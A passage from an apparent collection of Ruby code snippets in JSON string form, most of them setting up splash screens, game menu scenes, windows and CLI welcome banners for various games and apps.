@system_window.cAutoDashLabel.rect.y, \n @system_window.width-32, 24)))\n positions.push(CursorPosition.new(Rect.new(0, @system_window.cInstantTextLabel.rect.y, \n @system_window.width-32, 24)))\n positions.push(CursorPosition.new(Rect.new(0, @system_window.cDifficultyLabel.rect.y, \n @system_window.width-32, 24)))\n positions.push(CursorPosition.new(Rect.new(0, @system_window.cInGameTutoLabel.rect.y, \n @system_window.width-32, 24)))\n positions.push(CursorPosition.new(Rect.new(0, @system_window.cReturnTitleLabel.rect.y, \n @system_window.width-32, 24)))\n \n @command_window = Window_Custom_Selectable.new(0, 0, 640, 384, positions, true)\n @command_window.opacity = 0\n @command_window.visible = true\n @command_window.active = true\n @command_window.z = 1000\n if @menu_index != nil\n @command_window.index = @menu_index\n update_help()\n else\n @command_window.index = 0\n end\n\n @last_index = -1\n end",
"def on_background_init()\n background_path = LVGL::Hacks.get_asset_path(\"app-background.svg\")\n if File.exist?(background_path)\n @background = LVGL::LVImage.new(@screen).tap do |el|\n el.set_protect(LVGL::PROTECT::POS)\n el.set_height(LVGUI.pixel_scale(1280))\n el.set_width(LVGUI.pixel_scale(720))\n el.set_src(\"#{background_path}?height=#{LVGUI.pixel_scale(1280)}\")\n el.set_x((@screen.get_width() - el.get_width()) / 2) # center\n el.set_y(@screen.get_height() - el.get_height()) # Stick to the bottom\n end\n end\n end",
"def run_normal\n welcome_header\n main_menu \n end",
"def splash\n\n#\t\tif (signed_in? && !params.has_key?(:logout)) # signed in user is not logging out\n\t\tif (signed_in?) # signed in user\n\t\t\tredirect_to home_path\n\t\telse\n#\t\t\tif (signed_in? && params.has_key?(:logout) && params[:logout] = true) # signed in user is logging out\n#\t\t\t\tsign_out\n#\t\t\tend\t\n\n\t\t\t@user = User.new # in case new user signs up\n\t\t\t\n\t\t\t# returns a Activerecord relation vs. a model instance - http://stackoverflow.com/questions/6004891/undefined-method-for-activerecordrelation\t\n\t\t\t@videos = Video.get_videos.where(\"live = ?\", false).where(\"status = ?\", \"finished\")\n#\t\t\t@venues = @venues.order(\"RANDOM()\")\n#\t\t\t@venues = @venues.limit(5) \t\t\n\t\t\t\t\n\t\t\t# Use Amazon AWS SDK methods (.new and .url_for) to get a url to the S3 object (the thumbnail)\n\t\t\ts3 = AWS::S3.new(:access_key_id => ENV['AWS_KEY_ID_READ'], :secret_access_key => ENV['AWS_KEY_VALUE_READ'])\n\t\t\t@bucket = s3.buckets[ENV['AWS_BUCKET']]\n\t\t\t# Code concepts below should be used in views/index.html.erb\n\t\t#\tobject = @bucket.objects['uploads/video/attachment/191/uploadify_test.png']\n\t\t#\t@url = oject.url_for(:get, { :expires => 1200.minutes.from_now, :secure => true }).to_s\n\n#\t\t\t@user = User.new\n\n\t\t\trespond_to do |format|\n\t\t\t\tformat.html\n\t\t\t\tformat.js { render :template => 'sessions/destroy.js.erb'}\n#\t\t\t\tformat.js { render js: \"alert('Hello Rails');\"}\n\t\t\tend\n\n\t\tend\t\t\n\tend",
"def start\n super\n create_menu_background\n if MENU_CONFIG::IMAGE_BG != \"\"\n @bg = Sprite.new\n @bg.bitmap = Cache.picture(MENU_CONFIG::IMAGE_BG)\n @bg.opacity = MENU_CONFIG::IMAGE_BG_OPACITY\n end\n @help_window = Window_Help.new\n @help_window.width = 640\n @saves_list = []\n (0..MAX_SAVE_SLOT-1).each do |i|\n @saves_list << SaveData.new(SLOT_NAME.clone.gsub!(/\\{ID\\}/i) { (i+1).to_s }, \n make_filename(i))\n end\n @window_slotdetail = Window_Slot_Details.new(160, 56, 480, 424, nil)\n @window_slotlist = Window_Slot_List.new(0, 56, 160, 424, @saves_list)\n if OPACITY_DEFAULT == false\n @help_window.opacity = NSS_WINDOW_OPACITY\n @window_slotlist.opacity = NSS_WINDOW_OPACITY\n @window_slotdetail.opacity = NSS_WINDOW_OPACITY\n end\n \n @confirm_window = Window_Confirmation.new(220, 212, SFC_Window_Width, \n Vocab::confirm_save_text,\n Vocab::confirm_yes_text,\n Vocab::confirm_no_text)\n @confirm_window.active = false\n @confirm_window.visible = false\n \n # Create Folder for Save file\n if SAVE_PATH != ''\n Dir.mkdir(SAVE_PATH) if !FileTest.directory?(SAVE_PATH)\n end\n if @saving\n @index = $game_temp.last_file_index\n @help_window.set_text(Vocab::SaveMessage)\n else\n @index = latest_file_index()\n @help_window.set_text(Vocab::LoadMessage)\n end\n @window_slotlist.index = @index\n # Draw Information\n @last_slot_index = @window_slotlist.index\n @window_slotdetail.window_update(@saves_list[@last_slot_index])\n end",
"def dispose_splashscreen\r\n @sprite.bitmap.dispose\r\n @sprite.dispose\r\n end",
"def welcome\n system 'rake db:seed'\n system 'clear'\n Logo.start\n puts \"Hello, and welcome to Crockpot Recipe Finder!\"\n puts \" \"\n sleep(2)\n login_page\n end",
"def add_cover()\n @cover = LVGL::LVObject.new(@screen)\n # Make it so we can use the opacity to fade in/out\n @cover.set_opa_scale_enable(true)\n @cover.set_width(@screen.get_width())\n @cover.set_height(@screen.get_height())\n @cover.set_click(false)\n\n @cover.get_style().dup.tap do |style|\n @cover.set_style(style)\n\n # Background for the splash\n style.body_main_color = BG_COLOR\n style.body_grad_color = BG_COLOR\n # Some themes will add a border to LVObject.\n style.body_border_width = 0\n end\n end",
"def start\n super\n create_menu_background()\n if MENU_CONFIG::IMAGE_BG != \"\"\n @bg = Sprite.new\n @bg.bitmap = Cache.picture(MENU_CONFIG::IMAGE_BG)\n @bg.opacity = MENU_CONFIG::IMAGE_BG_OPACITY\n end\n \n @actor = $game_party.members[@actor_index]\n \n @char_image_window = Window_Char_Image.new(-16, 56+16, 640, 424, @actor)\n @char_image_window.opacity = 0\n \n @help_window = Window_Info_Help.new(0, 384, 640, 96, nil)\n \n @skill_back_window = Window_Base.new(200, 56, 440, 328)\n @dataviews_window = Window_Dataviews.new(200, 56, 440, 56, MENU_CONFIG::SKILL_DATAVIEWS)\n @dataviews_window.active = false\n @dataviews_window.opacity = 0\n \n @status_window = Window_Skill_Status.new(0, 0, 200, 128, @actor)\n \n @skill_window = Window_Skill.new(200, 96, 440, 272, @actor, @dataviews_window.selected_view)\n @skill_window.opacity = 0\n @skill_window.help_window = @help_window\n \n @skill_details_window = Window_SkillDetails.new(0,384,640,96,nil)\n @skill_details_window.visible = false\n @skill_window.detail_window = @skill_details_window\n \n @target_window = Window_Party_Status.new(140, 0, 480, 424, $game_party.members)\n hide_target_window\n end",
"def start\n super\n create_menu_background()\n if MENU_CONFIG::IMAGE_BG != \"\"\n @bg = Sprite.new\n @bg.bitmap = Cache.picture(MENU_CONFIG::IMAGE_BG)\n @bg.opacity = MENU_CONFIG::IMAGE_BG_OPACITY\n end\n \n @actor = $game_party.members[@actor_index]\n \n @char_image_window = Window_Char_Image.new(-16, 56+16, 640, 424, @actor)\n @char_image_window.opacity = 0\n \n @help_window = Window_Info_Help.new(0, 384, 640, 96, nil)\n \n @skill_back_window = Window_Base.new(200, 56, 440, 328)\n @dataviews_window = Window_Dataviews.new(200, 56, 440, 56, MENU_CONFIG::SKILL_DATAVIEWS)\n @dataviews_window.active = false\n @dataviews_window.opacity = 0\n \n @status_window = Window_Skill_Status.new(0, 0, 200, 128, @actor)\n \n @skill_window = Window_Skill.new(200, 96, 440, 272, @actor, @dataviews_window.selected_view)\n @skill_window.opacity = 0\n @skill_window.help_window = @help_window\n \n @skill_details_window = Window_SkillDetails.new(0,384,640,96,nil)\n @skill_details_window.visible = false\n @skill_window.detail_window = @skill_details_window\n \n @target_window = Window_Party_Status.new(140, 0, 480, 424, $game_party.members)\n hide_target_window\n end",
"def show_splash_screen?\n (browser.platform.android? || browser.platform.ios?) && cookies['splash-screen'] != 'hidden'\n end",
"def ios_splash_tag(url, options={})\n rel = 'apple-touch-startup-image'\n\n tag :link, { :rel => rel, :href => url }.merge(options)\n end",
"def initialize\n\n @prompt = TTY::Prompt.new\n escape_to_welcome\n LoadAssets.load_logo\n\n end",
"def test_splash_page\n false\n end",
"def create\r\n @icons_app.each do |k,v|\r\n v.create\r\n end\r\n # local variables\r\n \r\n refresh_settings\r\n \r\n #splitter position\r\n gfxgui_settings = @app_settings['guigfx']\r\n \r\n # window size\r\n ww = gfxgui_settings[:ww_mainwin]\r\n hh = gfxgui_settings[:hh_mainwin]\r\n \r\n # continue to insert item into giochi menu\r\n FXMenuSeparator.new(@giochimenu)\r\n FXMenuCommand.new(@giochimenu, \"Opzioni\").connect(SEL_COMMAND, method(:mnu_cuperativa_options))\r\n FXMenuSeparator.new(@giochimenu)\r\n FXMenuCommand.new(@giochimenu, \"&Esci\").connect(SEL_COMMAND, method(:onCmdQuit))\r\n \r\n # Reposition window to specified x, y, w and h\r\n position(0, 0, ww, hh)\r\n \r\n # Create the main window and canvas\r\n super \r\n # Show the main window\r\n show(PLACEMENT_SCREEN)\r\n \r\n # default game or last selected\r\n game_type = @app_settings[\"curr_game\"]\r\n #p @supported_game_map\r\n # initialize only an enabled game. An enabled game is a supported game.\r\n # Game disabled are not in the @supported_game_map. This to avoid to build poperties and\r\n # custom widgets\r\n if @supported_game_map[game_type]\r\n if @supported_game_map[game_type][:enabled]\r\n initialize_current_gfx(game_type)\r\n end\r\n else\r\n # default game is not supported, initialize the first enable game\r\n @log.debug(\"Default game not enabled, look for the first enabled one\")\r\n @supported_game_map.each do |k, game_info_h|\r\n game_type = k\r\n if game_info_h[:enabled]\r\n initialize_current_gfx(game_type)\r\n break\r\n end\r\n end\r\n end\r\n log_sometext(\"Benvenuta/o nella Cuperativa versione #{VER_PRG_STR}\\n\")\r\n @log.info(\"TheApp Create OK\") \r\n end",
"def initialize\n\n #Graphics.freeze\n\n @closing = false\n @savequit = false\n\n $mouse.change_cursor('Default')\n sys('open')\n\n # Vp\n @vp = Viewport.new(0,0,$game.width,$game.height)\n @vp.z = 3500\n\n @snap = Sprite.new(@vp)\n @snap.z = -101\n @snap.bitmap = $game.snapshot\n\n # Background\n @bg = Sprite.new(@vp)\n @bg.z = -100\n #@bg.bitmap = Bitmap.new(640,480)\n #@bg.bitmap.fill(Color.new(0,0,0,180))\n @bg.bitmap = $cache.menu_background(\"sample\")\n #@bg.bitmap = $cache.menu_background(\"witch\")\n @bg.opacity = 0\n \n #@bg.y = 30\n #@bg.do(seq(go(\"y\",-50,150,:qio),go(\"y\",20,150,:qio)))\n\n #self.do(delay(300))\n\n @next_menu = $menu.menu_page\n $menu.menu_page = nil\n\n @menu = nil\n\n #Graphics.transition(20,'Graphics/Transitions/trans') \n\n end",
"def setup_screen_fadein\n $game_troop.screen.start_fadein(@acts[1] || 30)\n end",
"def splash_image_url\n self.splash_image ? self.splash_image.convert('-resize 50%').url : '/assets/campaigns/splash_default.jpg'\n end",
"def create_wait_for_play_screen\r\n @log.error \"create_wait_for_play_screen: not implemented\\n\"\r\n end",
"def main_begin\n create_graphics\n sort_sprites\n fade_in(@mbf_type || DEFAULT_TRANSITION, @mbf_param || DEFAULT_TRANSITION_PARAMETER)\n end",
"def initialize window, x, y\n images = Gosu::Image::load_tiles(window, \"media/SlugSlime.png\", WIDTH, HEIGHT, true)\n\n super(window, x, y, WIDTH, HEIGHT, images)\n\n @creation_milliseconds = Gosu.milliseconds\n end",
"def cfs_kit_create_about_screen(scr_title, scr_text)\n\n t = Time.new \n time_stamp = \"_#{t.year}_#{t.month}_#{t.day}_#{t.hour}#{t.min}#{t.sec}\"\n\n scr_header = \"\n ###############################################################################\n # cfs_kit About Screen\n #\n # Notes:\n # 1. Do not edit this file because it is automatically generated and your\n # changes will not be saved.\n # 2. File created by create_app_screen.rb on #{time_stamp}\n #\n # License:\n # Written by David McComas, licensed under the copyleft GNU General Public\n # License (GPL).\n #\n ###############################################################################\n\n SCREEN AUTO AUTO 0.5\n GLOBAL_SETTING BUTTON BACKCOLOR 221 221 221\n \n TITLE \\\"#{scr_title}\\\"\n SETTING BACKCOLOR 162 181 205\n SETTING TEXTCOLOR black\n \n VERTICALBOX \\\"\\\" 10\n \"\n\n scr_trailer = \"\n END # Vertical Box\n \"\n \n scr_file = File.join(Osk::SCR_DIR,Osk::ABOUT_SCR_FILE)\n\n begin\n \n # Always overwrite the temp file \n File.open(scr_file,\"w\") do |f| \n \n f.write (scr_header)\n\n #f.write (\"\\n LABEL \\\" \\\"\\n\")\n \n info_line = 1\n info_line_str = \"\"\n scr_text.each do |line|\n info_line_str << \" NAMED_WIDGET line_#{info_line} LABEL \\\"#{line}\\\"\\n\" \n info_line_str << \" SETTING TEXTCOLOR 0 0 153\\n\"\n info_line += 1\n end\n \n f.write (info_line_str)\n f.write (\"\\n LABEL \\\" \\\"\\n\")\n f.write (scr_trailer)\n\n end # File\n \n rescue Exception => e\n puts e.message\n puts e.backtrace.inspect \n end\n\nend",
"def init_window\n self.z = 10_000\n lock\n @name_window.visible = false\n @name_window.lock\n @name_text.text = ''\n update_windowskin\n init_pause_coordinates\n self.pauseskin = RPG::Cache.windowskin(PauseSkin)\n self.back_opacity = ($game_system.message_frame == 0 ? 255 : 0)\n unlock\n @name_window.unlock\n end",
"def start\n super\n create_menu_background()\n if MENU_CONFIG::IMAGE_BG != \"\"\n @bg = Sprite.new\n @bg.bitmap = Cache.picture(MENU_CONFIG::IMAGE_BG)\n @bg.opacity = MENU_CONFIG::IMAGE_BG_OPACITY\n end\n \n @actor = $game_party.members[@actor_index]\n @char_image_window = Window_Char_Image.new(-16, 56+16, 640, 424, @actor)\n @char_image_window.opacity = 0\n @char_info_window = Window_Char_Info.new(0, 0, 200, 128, @actor)\n \n @status_window = Window_Status.new(200, 40, 440, 440, @actor)\n \n @status_equip_window = Window_Status_Equip.new(415, 40, 225, 272, @actor)\n @status_equip_window.active = false\n \n @equip_details_window = Window_EquipDetails.new(0,384,640,96,nil)\n @equip_details_window.visible = false\n @item_details_window = Window_ItemDetails.new(0,384,640,96,nil)\n @item_details_window.visible = false\n \n positions = []\n positions.push(CursorPosition.new(Rect.new(@status_equip_window.x,\n @status_equip_window.y, \n @status_equip_window.width-32, \n @status_equip_window.height-32)))\n \n @command_window = Window_Custom_Selectable.new(0, 0, 640, 480, positions)\n @command_window.opacity = 0\n @command_window.visible = true\n @command_window.active = true\n @command_window.index = 0\n \n @help_window = Window_Info_Help.new(0, 384, 640, 96, nil)\n @help_window.visible = false\n \n @status_equip_window.help_window = @help_window\n end",
"def start\n super\n if VICTORY_CONFIG::IMAGE_BG != \"\"\n @bg = Sprite.new\n @bg.bitmap = Cache.picture(VICTORY_CONFIG::IMAGE_BG)\n @bg.opacity = VICTORY_CONFIG::IMAGE_BG_OPACITY\n end\n \n @help_window = Window_Info_Help.new(0, 0, 640, 56, Vocab::victory_help_text)\n @help_window.cText.align = 1\n @help_window.cText.font.bold = true\n # Refresh for the text alignment\n @help_window.refresh()\n\n if VICTORY_CONFIG::DIVIDE_EXP\n exp_by_actor = (@exp / $game_party.members.size).to_i\n else\n exp_by_actor = @exp\n end\n \n @actor_remaining_exp = []\n @victory_char_info_windows = []\n @victory_new_skill_windows = []\n @victory_level_up_windows = []\n for i in 0 .. $game_party.members.size-1 \n actor_exp = ActorExp.new(exp_by_actor, determine_tick($game_party.members[i].next_exp, exp_by_actor))\n @actor_remaining_exp.push(actor_exp)\n \n if i%2 == 0 \n x = -320\n else\n x = 640\n end\n victory_char_info_window = Window_Victory_Char_Info.new(x, (i/2).to_i*128+168, 320, 128, $game_party.members[i])\n victory_char_info_window.active = false\n @victory_char_info_windows.push(victory_char_info_window)\n\n victory_new_skill_window = Window_Victory_New_Skill.new((i%2)*320, (i/2).to_i*128+168+128-56, 320, 56, nil)\n victory_new_skill_window.active = false\n victory_new_skill_window.visible = false\n @victory_new_skill_windows.push(victory_new_skill_window)\n\n victory_level_up_window = Window_Victory_Level_Up.new((i%2)*320+200, (i/2).to_i*128+168, 120, 56)\n victory_level_up_window.active = false\n victory_level_up_window.visible = false\n victory_level_up_window.opacity = 0\n @victory_level_up_windows.push(victory_level_up_window)\n end\n\n @victory_item_window = Window_Victory_Item.new(160, 488, 320, 256, @drop_items)\n @victory_item_window.active = false\n @victory_item_window.visible = false\n\n @exp_window = Window_Victory_Exp.new(20, 83, 300, 56, @exp)\n @gold_window = Window_Victory_Gold.new(320, 83, 300, 56, @gold)\n\n [@help_window, @victory_item_window, @exp_window, @gold_window]+\n @victory_char_info_windows+@victory_new_skill_windows.each{\n |w| w.opacity = VICTORY_CONFIG::WINDOW_OPACITY;\n w.back_opacity = VICTORY_CONFIG::WINDOW_BACK_OPACITY\n }\n \n end",
"def start_load_screenshot\n show_loading_bar\n Thread.new{extract_graphic}\n end",
"def initialize \n super(ScreenWidth, ScreenHeight, false)\n self.caption = \"Mad Pokemon\"\n $window = self\n\n @@images = Hash.new\n @@fonts = Hash.new \n load_images\n load_fonts\n\n @@fading_off = false\n @@fading_on = false\n @@end_fade = 0\n @@start_fade = 0\n\n @@change_game_state = nil\n\n @@game_state = MenuState.new\n end",
"def start_scene; end",
"def create_menu_background\n @menuback_sprite = Sprite.new\n @menuback_sprite.bitmap = $game_temp.background_bitmap\n @menuback_sprite.color.set(16, 16, 16, 128)\n update_menu_background\n end",
"def Main\n #Begin preinitialization\n preInit()\n\n #Render Game Window and begin drawing onto the screen.\n\n DEBUG.cout(\"Initializing Game Window...\", 0, false)\n window = GameWindow.new\n window.show\n\n #End game and return to desktop\n return nil\nend",
"def initialize\n super(WIDTH, HEIGHT)\n self.caption = 'Sector Five'\n @background_image = Gosu::Image.new('images/start_screen.png')\n @scene = :start\n\n @game = GameService.new(self)\n end",
"def create_background\n add_disposable @background = UI::BlurScreenshot.new(@__last_scene)\n @background.opacity -= 255 / ENTERING_ANIMATION_DURATION * ENTERING_ANIMATION_DURATION\n end",
"def create_background\n @background = Window.new(@viewport, @x, @y, @width, @height, skin: @skin)\n end",
"def quit\n ::HawkLoginController.load_into @stage, :width => 517,\n :height => 374\n\n @stage.min_width = 500\n @stage.min_height = 300\n\n @stage.size_to_scene\n end",
"def splash_settings\r\n SplashSettingsController.instance\r\n end",
"def create_graphics\n create_viewport\n create_background\n create_buttons\n init_entering\n end",
"def create_window(w, h)\n GLFW.window_hint GLFW::RESIZABLE, GL2::GL_FALSE\n GLFW.window_hint GLFW::CONTEXT_VERSION_MAJOR, 3\n GLFW.window_hint GLFW::CONTEXT_VERSION_MINOR, 3\n GLFW.window_hint GLFW::OPENGL_FORWARD_COMPAT, GL2::GL_TRUE # for 3.0\n GLFW.window_hint GLFW::OPENGL_PROFILE, GLFW::OPENGL_CORE_PROFILE # for 3.0 and on\n Moon::Shader.is_legacy = false\n\n title = 'Moon Player'\n begin\n @window = GLFW::Window.new w, h, title\n rescue GLFWError\n GLFW.default_window_hints\n GLFW.window_hint GLFW::CONTEXT_VERSION_MAJOR, 2\n GLFW.window_hint GLFW::CONTEXT_VERSION_MINOR, 1\n Moon::Shader.is_legacy = true\n\n @window = GLFW::Window.new w, h, title\n end\n end",
"def setup_screen_fadeout\n $game_troop.screen.start_fadeout(@acts[1] || 30)\n end",
"def welcome\n system \"clear\"\n aa = Artii::Base.new :font => 'univers'\n bb = Artii::Base.new :font => 'doh'\n cc = Artii::Base.new :font => 'larry3d'\n dd = Artii::Base.new :font => 'banner3'\n puts bb.asciify('Welcome to')\n sleep(2)\n system \"clear\"\n puts aa.asciify(\"Who Wants To Be A\")\n sleep(1)\n puts bb.asciify(\" Millionbear\")\n puts cc.asciify(\" $$$$$$$$$$$$$$$$$$$$$$$\")\n sleep(2)\n system \"clear\"\n puts aa.asciify \" With your host\"\n sleep(1)\n system \"clear\"\n puts bb.asciify \" Alex\"\n puts bb.asciify \" Trebear\"\n sleep(2)\n system \"clear\"\n # bear_host\n\n if !$IS_LITE_MODE\n Catpix::print_image \"lib/cli/img/bear5.png\",\n :center_x => true,\n :resolution => \"low\",\n :bg_fill => false\n puts\n end\nend",
"def create_screenshot_graphic\n @screenshot_loaded = false\n @screenshot = Sprite.new(@viewport)\n @screenshot.opacity = 0\n end",
"def after_sign_in_path_for(resource)\n splash_page\n end",
"def start\n super\n create_menu_background\n if PARTY_CONFIG::IMAGE_BG != \"\"\n @bg = Sprite.new\n @bg.bitmap = Cache.picture(PARTY_CONFIG::IMAGE_BG)\n @bg.opacity = PARTY_CONFIG::IMAGE_BG_OPACITY\n end\n \n @actor_positions_backup = {}\n for i in 0 .. $game_party.members.size-1\n @actor_positions_backup[$game_party.members[i].id] = $game_party.actor_positions[i]\n end\n @party_order_window = Window_Party_Order.new(160, 0, 480, 156, $game_party.members)\n @party_order_window.active = false\n @party_order_window.index = -1\n\n @command_window = Window_Command.new(160, \n [Vocab::formation_change_command, \n Vocab::formation_order_command, \n Vocab::formation_revert_command])\n @command_window.x = 0\n @command_window.y = 0\n @command_window.height = @party_order_window.height\n @command_window.active = true\n \n @help_window = Window_Info_Help.new(0, 384, 640, 96, nil)\n @battle_formation_details_window = Window_BattleFormationDetails.new(0,384,640,96,nil)\n @battle_formation_details_window.visible = false\n\n @battle_formation_index_backup = $game_party.battle_formation_index\n @battle_formations_window = Window_Battle_Formations.new(0, 156, 640, 228, PARTY_CONFIG::BATTLE_FORMATIONS)\n @battle_formations_window.active = false\n @battle_formations_window.index = $game_party.battle_formation_index\n @battle_formations_window.help_window = @help_window\n @battle_formations_window.detail_window = @battle_formation_details_window\n \n [@help_window, @battle_formation_details_window, @party_order_window,\n @command_window, @battle_formations_window].each{\n |w| w.opacity = PARTY_CONFIG::WINDOW_OPACITY;\n w.back_opacity = PARTY_CONFIG::WINDOW_BACK_OPACITY\n }\n end",
"def main_window\r\n super\r\n # Make main command window\r\n main_command_window\r\n # Make play time window\r\n @playtime_window = Window_PlayTime.new\r\n @playtime_window.x = 0\r\n @playtime_window.y = 224\r\n # Make steps window\r\n @steps_window = Window_Steps.new\r\n @steps_window.x = 0\r\n @steps_window.y = 320\r\n # Make gold window\r\n @gold_window = Window_Gold.new\r\n @gold_window.x = 0\r\n @gold_window.y = 416\r\n # Make status window\r\n @status_window = Window_MenuStatus.new\r\n @status_window.x = 160\r\n @status_window.y = 0\r\n end",
"def initialize(battler)\n x,y = Scan_Window_Settings[0], Scan_Window_Settings[1]\n w,h = Scan_Window_Settings[2], Scan_Window_Settings[3]\n super(x,y,w,h)\n self.contents = Bitmap.new(width - 32, height - 32)\n self.z = 4950\n if Scan_Window_Bg != nil\n @background_image = Sprite.new\n @background_image.bitmap = RPG::Cache.windowskin(Scan_Window_Bg)\n @background_image.x = self.x + Scan_Window_Bg_Postion[0]\n @background_image.y = self.y + Scan_Window_Bg_Postion[1]\n @background_image.z = self.z - 1\n @background_image.visible = self.visible\n end\n self.back_opacity = Scan_Window_Settings[4]\n self.opacity = Scan_Window_Settings[4] if Scan_Window_Settings[5]\n @battler = battler\n refresh\n end",
"def main\n create_graphics\n curr_scene = $scene\n check_up\n while @running && curr_scene == $scene\n Graphics.update\n update\n end\n dispose\n # Unload title related pictures\n RPG::Cache.load_title(true)\n RPG::Cache.load_interface(true)\n ::Scheduler.start(:on_scene_switch, ::Scene_Title) if !@running && $scene.is_a?(Scene_Map)\n end",
"def create_backgrounds\n create_over\n create_hud_bg\n create_under\n create_flow\n end",
"def intro\r\n clear # execute method clear to clear screen and place logo\r\n puts ' \"I cant stand the rain!!\" '\r\n puts ' Welcome to GK Rainfall collection application'\r\n puts ' Version 0.205'\r\n puts ' Hit enter to continue'\r\n gets\r\n end",
"def start\n DataManager.create_game_objects\n $game_party.setup_starting_members\n $game_map.setup(Config::Starting_Map_ID)\n $game_player.moveto(Config::X_Pos, Config::Y_Pos)\n $game_player.followers.visible = false\n $game_player.refresh\n $game_player.make_encounter_count\n\n @character_name = $game_player.character_name\n @character_index = $game_player.character_index\n $game_player.set_graphic('', 0)\n\n $game_system.menu_disabled = true\n Graphics.frame_count = 0\n\n super\n create_foreground\n create_background\n create_command_window\n play_title_music\n end",
"def initialize()\n screen=Gdk::Screen.default\n\t\t#Variable pour resize le texte\n\t\t@pad=screen.height*0.03\n\t\t@police=screen.height*0.02\n win = Gtk::Window.new\n\t\tw=screen.width\n\t\th=screen.height\n win.set_default_size(w/4,h/10)\n win.set_resizable(false)\n\t\twin.window_position= :center_always\n\n\t\t@menu=Gtk::Box.new(:vertical, 25)\n\t\t@gtkObject= Gtk::Table.new(3,3)\n\t\t@gtkObject.attach(@menu,1,2,1,2)\n\n\t\t@buffer = GdkPixbuf::Pixbuf.new(file: File.dirname(__FILE__) + \"/../../../../Assets/Backgrounds/nature.jpg\")\n\t\t@buffer=@buffer.scale(w/4,h/10+100)\n\n pb = Text.new(\"Login not found \\n OR \\nwrong password\",@police)\n\t\tpb.colorChange(\"red\")\n @menu.pack_start(pb.gtkObject,expand: false, fill: true, padding: @pad)\n\t\t@gtkObject.attach(Gtk::Image.new(pixbuf: @buffer),0,3,0,3)\n\t\twin.add(@gtkObject)\n\t\twin.show_all\n\n end",
"def start\n super\n create_menu_background()\n if MENU_CONFIG::IMAGE_BG != \"\"\n @bg = Sprite.new\n @bg.bitmap = Cache.picture(MENU_CONFIG::IMAGE_BG)\n @bg.opacity = MENU_CONFIG::IMAGE_BG_OPACITY\n end\n \n @actor = $game_party.members[@actor_index]\n \n @char_image_window = Window_Char_Image.new(-16, 56+16, 640, 424, @actor)\n @char_image_window.opacity = 0\n @char_info_window = Window_Char_Info.new(0, 0, 200, 128, @actor)\n @char_info_window.ucExp.visible = false\n @char_info_window.ucExpGauge.visible = false\n @char_info_window.ucTotalExp.visible = false\n @char_info_window.refresh()\n\n @item_window = Window_Equip_Item.new(425, 40, 215, 272 + 72, @actor, @equip_index)\n @item_window.active = false\n @item_window.index = -1\n @item_window.window_update($game_party.items)\n \n @equip_window = Window_Status_Equip.new(200, 40, 225, 272, @actor)\n @equip_window.active = false\n @equip_window.height = @equip_window.height + 72\n @equip_window.index = @equip_index\n\n @status_window = Window_Equip_Compare_Status.new(200, 40, 225, 344, @actor)\n @status_window.active = false \n @status_window.visible = false\n \n @help_window = Window_Info_Help.new(0, 384, 640, 96, nil)\n @equip_window.help_window = @help_window\n @item_window.help_window = @help_window\n \n @equip_details_window = Window_EquipDetails.new(0,384,640,96,nil)\n @equip_details_window.visible = false\n @equip_window.detail_window = @equip_details_window\n @item_window.detail_window = @equip_details_window\n \n @command_window = Window_Command.new(200, \n [Vocab::equip_command, \n Vocab::equip_optimize_command, \n Vocab::equip_remove_command,\n Vocab::equip_remove_all_command], 2)\n @command_window.opacity = 0\n @command_window.x = 0\n @command_window.y = 48\n @command_window.active = true\n \n @optimize_modes_window = Window_Optimize_Modes.new(0, 0, 400, 64, MENU_CONFIG::OPTIMIZE_MODES)\n @optimize_modes_window.visible = false\n @optimize_modes_window.active = false\n @optimize_modes_window.help_window = @help_window\n \n @optimize_modes_window_headers = Window_Selectable_Headers.new(@optimize_modes_window)\n width_remain = (640 - @optimize_modes_window_headers.width)/2\n @optimize_modes_window_headers.x = width_remain.floor\n height_remain = (480 - @optimize_modes_window_headers.height)/2\n @optimize_modes_window_headers.y = height_remain.floor\n @optimize_modes_window_headers.visible = false\n @optimize_modes_window_headers.addHeader(Vocab::optimize_mode_text, \n 0, @optimize_modes_window.contents.width, \n 1, Font.optimize_mode_header_font)\n @optimize_modes_window_headers.refresh()\n end",
"def initialize(parent_wnd)\r\n super(parent_wnd)\r\n \r\n @core_game = nil\r\n @splash_name = File.join(@resource_path, \"icons/mariazza_title_trasp.png\")\r\n @algorithm_name = \"AlgCpuMariazza\" \r\n #core game name (created on base class)\r\n @core_name_class = 'CoreGameMariazza'\r\n \r\n # game commands\r\n @game_cmd_bt_list = []\r\n\r\n ## NOTE: don't forget to initialize variables also in ntfy_base_gui_start_new_game\r\n end",
"def pantallaInicial\n\n\t\t@app.clear\n\t\t@app.background \"fondo.jpg\"\n\t\t@inicio = @app.stack :top => \"180\", :left => \"330\"\n\t\t@inicio.caption \"Bienvenido al Juego\"\n\t\t@inicio.tagline \"Piedra Papel Tijeras Lagarto Spock\"\n\t\t@botonInicio = @inicio.button \"Empezar\"\n\t\t@botonFinal = @inicio.button \"Salir\"\n\t\t\n\t\t@botonInicio.click do\n\t\t\tpantallaEstrategias \"1\"\n\n\t\t\t@sig = @estrategias.button \"Siguiente\"\n\t\t\t@sig.click do\n\t\t\t\tpantallaEstrategias \"2\"\n\t\t\t\t@sig2 = @estrategias.button \"Siguiente\"\n\t\t\t\t@sig2.click do\n\t\t\t\t\t\n\t\t\t\t\tpantallaPuntosRondas\n\n\t\t\t\tend\n\t\t\tend\n\t\t\t\n\n\t\tend\n\n\t\t@botonFinal.click do\n\t\t\t@app.close\n\t\tend\n\tend",
"def welcome\n Banner.go\n puts\" \n # ####### ####### ###### ##### # # ### \n # #### # # # # # # ###### # # # # # # # # # # # ##### # # #### # # ###### # # ###### ##### #### #### ### \n # # # # ## # # # # # # # # ## # # # # # # # # # # # # ## ## # # # # # # # # # ### \n # # # # # # # # ###### ##### ##### # # # # # ###### # # # # # # ##### # # # ## # ##### ####### ##### # # # # #### # \n # # # # # # # # # # # # # # # # # # ### # # # # # # # # # # # # # # # # # ##### # # # \n # # # # # # ## # # # # # # # # ## ### # # # # # # # # # # # # # # # # # # # # # # # # ### \n ##### #### # # # # # # ###### # #### # # ### ###### #### # ###### ##### ##### #### # # ###### # # ###### # # #### #### ### \n \n \".colorize(:blue)\n user_inpupt=prompt.select(\"\\n\\n---Welcome to the Game of Superheros.\") do |menu|\n menu.choice \"------Register an Account\", -> {register_user_helper}\n menu.choice \"------Log Into Existing Account\", -> {user_login_helper}\n \n end\n\n system 'clear'\n end",
"def home()\n@ss.close\n @titleLabel.setVisible(true)\n @actionNew.setVisible(true)\nsetWindowTitle('Internet Cafe Customer Management System (I.C.C.M.S.) by SAFEW')\nend",
